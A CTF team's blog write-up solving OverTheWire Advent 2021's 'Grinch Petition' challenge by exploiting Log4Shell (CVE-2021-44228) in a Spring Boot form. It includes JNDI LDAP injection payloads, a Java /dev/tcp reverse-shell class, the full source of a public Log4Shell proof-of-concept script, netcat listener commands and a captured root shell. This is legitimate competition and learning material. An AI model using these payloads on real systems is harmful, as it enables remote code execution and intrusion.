Writeup for OTWA CTF 2021, Grinch Petition

Posted on Dec 25, 2021


We stumbled upong OverTheWire:s Advent Bonanza CTF in 2019 and we were instantly hooked. The whole idea of releasing one new hacking challenge every day is genius and very addictive for the participants. At Cybix we even started a new thing called lunch-hacking. Eating food while hacking on the latest challenge during december is a new tradition.

So you can only guess our frustration when the 2020 edition of this CTF was canceled. :( But this year it turned into total happiness when it was clear that OverTheWire Advent Bonanza 2021 kicked of. That adrenalin rush brought us all the way to place 12 this year.


Sometimes bragging is ok even if you do not win :) We are very happy with our 12:th place out of 1347 teams. After all this is a competition held in the middle of all christmas preparations. There’s christmas partys to arrange and attend. And still we have our number one priority in giving our customers the best of service.

To add one more stressfull thing in the middle of all this the Log4Shell CVE exploded like a bomb. It’s really cool that the organizers of the competiton managed to squeeze that vulnerability into the competition with such short notice.

Cause that’s what they did with the challenge called Grinch Petition. Here follows a writeup showing just how easy it is to exploit CVE-2021-44228 using one of the many PoC:s out there.


Behind that cover on the 14:th of december you could find this:


Not much information there so let’s click the Play Challenge link to get started right away.


That’s a petition there. Not much more information to gather here. Time to start poking around in the web application and see if we can find something interesting.


Searching the web application for vulnerabilities


It seems to be a quite simple web application. We can set a name, message and push the “Sign the petition” button to post our message. Let’s try it.


So everything looks ok. But nothing of real interest seems to have happened. Let’s use the developer tools to see what happend behind the scenes.


It seems that we have 3 fields (name, message and recipient) to play around with in our POST. But before we dive into that let’s investigate the page further.

Reverse engineering the HTML and Javascript

This is what the html looks like:

    <link rel="stylesheet" href="style.css" />
    <script src="https://code.jquery.com/jquery-3.5.0.js"></script>

    <h1>Peace with the Grinch petition</h1>

    <div id="description">
        The Christmas Truce between Santa and Grinch forces of 12 December 2021
        is a clear sign that nobody wants the war the Grinch is raging against
        the North Pole.
        With this petition, we want to show the Grinch how many elves and Whos
        support a permanent peace treaty and hope to convince him to stop this
        foolish and harmful war.
        Let's save Christmas together! Please sign the petition and leave a
        personal and heart-warming message for the Grinch.

    <div id="main">
      <form method="POST" action="/signPetition">
          <input type="text" name="name" placeholder="Name..." />
            placeholder="Your message..."
            style="width: 100%;"
          <input type="submit" value="Sign the petition" />

    <script src="app.js"></script>

That’s a rather standard html post form. But what caught my eye is that name and message is present in the html but recipient is not. So somewhere that must be added. Let’s examine the usual suspects. In this case app.js:

 * Santa analytics code, do not touch!
function _0x2c08() {
  var _0x264306 = [
  _0x2c08 = function () {
    return _0x264306;
  return _0x2c08();
var _0x3f6e2e = _0x108f;
function _0x108f(_0x48485a, _0x43c1a0) {
  var _0x2c083b = _0x2c08();
  return (
    (_0x108f = function (_0x108f50, _0xc23c6) {
      _0x108f50 = _0x108f50 - 0xd2;
      var _0x48852d = _0x2c083b[_0x108f50];
      return _0x48852d;
    _0x108f(_0x48485a, _0x43c1a0)
(function (_0x4d4142, _0x2bdb0b) {
  var _0x50096e = _0x108f,
    _0x1f7a64 = _0x4d4142();
  while (!![]) {
    try {
      var _0x245164 =
        -parseInt(_0x50096e(0xe0)) / 0x1 +
        (parseInt(_0x50096e(0xda)) / 0x2) * (-parseInt(_0x50096e(0xd9)) / 0x3) +
        -parseInt(_0x50096e(0xde)) / 0x4 +
        (parseInt(_0x50096e(0xd7)) / 0x5) * (-parseInt(_0x50096e(0xdc)) / 0x6) +
        (parseInt(_0x50096e(0xe1)) / 0x7) * (parseInt(_0x50096e(0xdb)) / 0x8) +
        (parseInt(_0x50096e(0xd6)) / 0x9) * (-parseInt(_0x50096e(0xdd)) / 0xa) +
        parseInt(_0x50096e(0xd2)) / 0xb;
      if (_0x245164 === _0x2bdb0b) break;
      else _0x1f7a64["push"](_0x1f7a64["shift"]());
    } catch (_0x32d90e) {
})(_0x2c08, 0x5b58d),
  $(_0x3f6e2e(0xdf))["submit"](function (_0x13d150) {
    var _0x24bb72 = _0x3f6e2e;
      [_0x24bb72(0xe2)]("name", atob(_0x24bb72(0xd3)))
      [_0x24bb72(0xe2)]("value", atob(_0x24bb72(0xd8)))
      [_0x24bb72(0xe2)](_0x24bb72(0xe3), _0x24bb72(0xd5))

OHHH NOOO. That’s a terrible javascript. it’s rather obfuscated, seeems like it’s using some recursing and some of those javascript tricks that can be so annoying when everything is an object.

I spent a good two hours or more reversing this script. I decoded that array of base64 encoded stuff and other mumbo jumbo in the begining of app.js.

It turned out that all it did was adding that recipient field with Grinchen to the payload before POST. Total frustration for spending so much time on nothing. It’s about time we start fiddling with the web app for real.

Fuzzing the web application manually with curl

We can send stuff to that web application and see if we can get it to crash or respond in some unintended way. Let’s start with a post including that recipient field to see if it works:

 ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking' -d 'recipient=Grinch'
Thank you for signing the petition!%

That worked alright. Now let’s try to remove that recipient field and see what happens:

 ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking'
{"timestamp":"2021-12-25T12:37:28.453+00:00","status":400,"error":"Bad Request","path":"/signPetition"}%

Well that did not work out well. Let’s try to add the recipient field again and change it:

 ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking' -d 'recipient=Hacker'
Tampering detected, this incident will be reported, you evil hacker!%

Hmm, that did not work but at least a different message. Let’s try sending the usual suspects of different characters to make it crash.

 ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking' -d 'recipient="'
Tampering detected, this incident will be reported, you evil hacker!%            ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking' -d 'recipient=$?!?)"(%!"'
{"timestamp":"2021-12-25T12:40:38.735+00:00","status":400,"error":"Bad Request","path":"/signPetition"}%                                                         ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking' -d "recipient='"
Tampering detected, this incident will be reported, you evil hacker!%            ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=Hacker" -d 'message=Hacking' -d "recipient=';"
Tampering detected, this incident will be reported, you evil hacker!%            ~/

We spent another two hours at this point trying different stuff in all of the fields but without any interesting result. At this point I remembered that we had problems accessing the site with Burp Suite as an in between proxy at the very start. Since this was a CTF we were in a hurry and just moved on without Burp Suite.

Let’s take a step back and see what that was all about.

Examining the POST using Burp Suite

So we fired up that good old Firefox and Burp Suite to capture all the traffic. We sent a post and yes there is still an error. I still have no idea why it displays this error when using Burp Suite. It seems as the recipient field was not added when using Burp Suite, we did not dig deeper to find out why.


When you look at it in the web browser it says “Whitelabel Error Page”.


A quick google search and the first thing you find is this:

WhiteLabel Error Page is a generic Spring Boot error page that is displayed when no custom error page is present. A WhiteLabel Error can is disabled in the application. properties file by setting the server. … Another way of disabling the WhiteLabel Error is excluding the ErrorMvcAutoConfiguration

ARRGH!!! WHY did we not check that error message from the start. This is some pretty interesting information. Spring is a rather famous Java framework and now we can narrow down our fuzzing just a bit.

The Log4Shell CVE-2021-44228 was published just 4 days before this challenge. It was a lot of buzz about it in social media and about every single place you looked. One of our team members actually had to quit the CTF because of all work with the vulnerability.

So of course Log4Shell was the first thing we thought about when we realised that it was a Java application somewhere behind the scenes. It seemed VERY unlikley that the organizers already implemented this into one of the challenges but it would be very stupid not to try it.

Gaining Access

Testing if the target is vulnerable to CVE-2021-44228

First of all let’s start a listener to see if the JNDI payload tries to connect back to us.

[email protected]:~# nc -lvnp 1337
listening on [any] 1337 ...

Now just grab a payload from any of the thousand posts on LinkedIn and adjust it to our listener and see if something happens.

 ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=hacker" -d 'message=hacking' -d 'recipient=${jndi:ldap://}'

What the hell??? It hangs. Let’s take a look at the listener.

listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 41962

We could not belive our tired hacker eyes. They managed to put a few days old vulnerability into the contest. That’s just soooo cool.

Or did they?

At this time we started discussing the possibility that this was unintended and we were actually hitting something else. With the nature of the Log4Shell vulnerability it could be totally possible that we hit something else entirely and we could actually be doing something illegal.

After some thinking we thought that it’s probably the challenge after all but in worst case it could be the CTF infrastructure and as long as we did not destroy anything we decided to move on.

Spawning a reverse shell via RCE

At this time the internet was flooded with Log4Shell stuff and there was absolutley no lack of PoC:s to use. After some studying of available exploits we found out that we needed to use something like this: https://github.com/mbechler/marshalsec to redirect the LDAP request to a http server. At the http server we should host a compiled java reverse shell like this:

public class shell {
    public static void main(String[] args) {
        Process p;
        try {
            p = Runtime.getRuntime().exec("bash -c [email protected]|bash 0 echo bash -i >& /dev/tcp/ 0>&1");
        } catch (Exception e) {}

We got that attack chain working so that the LDAP request was redirected to our http server. Our Exploit.class was delivered from our http server to the target but at that point nothing seemed to happen. we tried different sleep strategies but we could not verify there was any RCE.

We were so close and after some thinking we realised that it’s probably a matter of Java versions and some variant of the payload. Then one of our team members found this https://github.com/kozmer/log4j-shell-poc Let’s take a closer look at the included poc.py:

#!/usr/bin/env python3

import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler

CUR_FOLDER = Path(__file__).parent.resolve()

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            try {
            catch (Exception e){
""" % (userip, lport)

    # writing the exploit to Exploit.java file

    p = Path("Exploit.java")

        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
        print(Fore.GREEN + '[+] Exploit java class created success')

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\n')

    # create the LDAP server on new thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))

    # start the web server
    print(f"[+] Starting Webserver on port {webport}{webport}")
    httpd = HTTPServer(('', webport), SimpleHTTPRequestHandler)

def check_java() -> bool:
    exit_code = subprocess.call([
        os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
    ], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    return exit_code == 0

def ldap_server(userip: str, lport: int) -> None:
    sendme = "${jndi:ldap://%s:1389/a}" % (userip)
    print(Fore.GREEN + f"[+] Send me: {sendme}\n")

    url = "http://{}:{}/#Exploit".format(userip, lport)
        os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
        os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),

def main() -> None:
    print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

    parser = argparse.ArgumentParser(description='log4shell PoC')
                        help='Enter IP for LDAPRefServer & Shell')
                        help='listener port for HTTP port')
                        help='Netcat Port')

    args = parser.parse_args()

        if not check_java():
            print(Fore.RED + '[-] Java is not installed inside the repository')
            raise SystemExit(1)
        payload(args.userip, args.webport, args.lport)
    except KeyboardInterrupt:
        print(Fore.RED + "user interupted the program.")
        raise SystemExit(0)

if __name__ == "__main__":

After quickly reading through the script we realised that it just automates the exact same things we tried to do manually. It generates an Exploit.java and compiles it into an Exploit.class that is hosted by a http server. It also uses the marshalsec to redirect that first JNDI call to the web server. It seems it’s using another Java version than we did manually and the Exploit.java is another variant.

Let’s try it out:

[email protected]:~# git clone https://github.com/kozmer/log4j-shell-poc
Cloning into 'log4j-shell-poc'...
remote: Enumerating objects: 198, done.
remote: Counting objects: 100% (195/195), done.
remote: Compressing objects: 100% (112/112), done.
remote: Total 198 (delta 71), reused 166 (delta 65), pack-reused 3
Receiving objects: 100% (198/198), 40.36 MiB | 24.67 MiB/s, done.
Resolving deltas: 100% (71/71), done.
[email protected]:~# cd log4j-shell-poc
[email protected]:~/log4j-shell-poc# pip install -r requirements.txt
Requirement already satisfied: colorama in /usr/local/lib/python3.9/dist-packages (from -r requirements.txt (line 1)) (0.4.4)
Collecting argparse
  Using cached argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse
Successfully installed argparse-1.4.0

After cloning it from github and installing the required libs you need to put a JDK in the same directory and name it jdk1.8.0_20 It can be downloaded from Oracle but you need to register an account before downloading. When everything is in place just make sure it looks like this:

[email protected]:~/log4j-shell-poc# ls
Dockerfile     README.md    requirements.txt
Exploit.class  jdk1.8.0_20  target
Exploit.java   poc.py	    vulnerable-application

Now everything is ready to use. Let’s start the automated PoC. The parameter –userip should be your public available ip and –lport is where we will start up netcat for our reverse shell.

[email protected]:~/log4j-shell-poc# python3 poc.py --userip  --webport 8000 --lport 1337

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://}
[+] Starting Webserver on port 8000

Listening on

That’s it. We can now use the payload ${jndi:ldap://} to make our target contact us. Then it will be redirected to where our Exploit.class is served. When Exploit.class is downloaded and executed it will spawn a reverse shell to so let’s start up a listener:

[email protected]:~# nc -lvnp 1337
listening on [any] 1337 ...

Our listener is ready and listening, it’s time to fire of our payload:

 ~/ curl -X POST http://grinch-petition.advent2021.overthewire.org:1214/signPetition -d "name=hacker" -d 'message=hacking' -d 'recipient=${jndi:ldap://}'

It hangs…. let’s check out our listener.

[email protected]:~# nc -lvnp 1337
listening on [any] 1337 ...
connect to [] from (UNKNOWN) [] 41982
ls -la
total 68
drwxr-xr-x    1 root     root          4096 Dec 21 16:30 .
drwxr-xr-x    1 root     root          4096 Dec 21 16:30 ..
-rwxr-xr-x    1 root     root             0 Dec 21 16:30 .dockerenv
drwxr-xr-x    1 root     root          4096 Dec 21 16:29 app
drwxr-xr-x    2 root     root          4096 Dec 20  2018 bin
drwxr-xr-x    5 root     root           340 Dec 21 16:30 dev
drwxr-xr-x    1 root     root          4096 Dec 21 16:30 etc
-rw-rw-r--    1 root     root            28 Dec 21 16:25 flag.txt
drwxr-xr-x    2 root     root          4096 Dec 20  2018 home
drwxr-xr-x    1 root     root          4096 Dec 21  2018 lib
drwxr-xr-x    5 root     root          4096 Dec 20  2018 media
drwxr-xr-x    2 root     root          4096 Dec 20  2018 mnt
dr-xr-xr-x 3068 root     root             0 Dec 21 16:30 proc
drwx------    2 root     root          4096 Dec 20  2018 root
drwxr-xr-x    2 root     root          4096 Dec 20  2018 run
drwxr-xr-x    2 root     root          4096 Dec 20  2018 sbin
drwxr-xr-x    2 root     root          4096 Dec 20  2018 srv
dr-xr-xr-x   13 root     root             0 Dec 21 16:30 sys
drwxrwxrwt    1 root     root          4096 Dec 21 16:30 tmp
drwxr-xr-x    1 root     root          4096 Dec 21  2018 usr
drwxr-xr-x    1 root     root          4096 Dec 20  2018 var
cat flag.txt

YES! We have a reverse shell and the flag is in /flag.txt. Mission accomplished.


Many thank’s to the organizers for putting in a vulnerability that is just a few days old. My guess is that this challenge should have been something else completly. But with that complete shitstorm that came out of CVE-2021-44228 it was a really cool idea to put it in the CTF.

We finished this challenge as one of the top 10 teams. But we could probably have been top 3 here if we had checked out that Burp Suite problem early on. So there’s something to learn here. If you see an error message that you do not recognize you should ALWAYS study it closer before you proceed with other things.

CTF:s sometimes get you stressed up and you deviate from your usual pentesting path. When time is a more important factor than complete coverage and documentation you take other paths. This was an awsome fun challenge like most of the challenges this year. You can read more about the competition over at ctftime.org Perhaps we will publish some more writeups from this CTF, until then:


We wish you a Merry Christmas and Happy Hacking!

/Christian (f1rstr3am)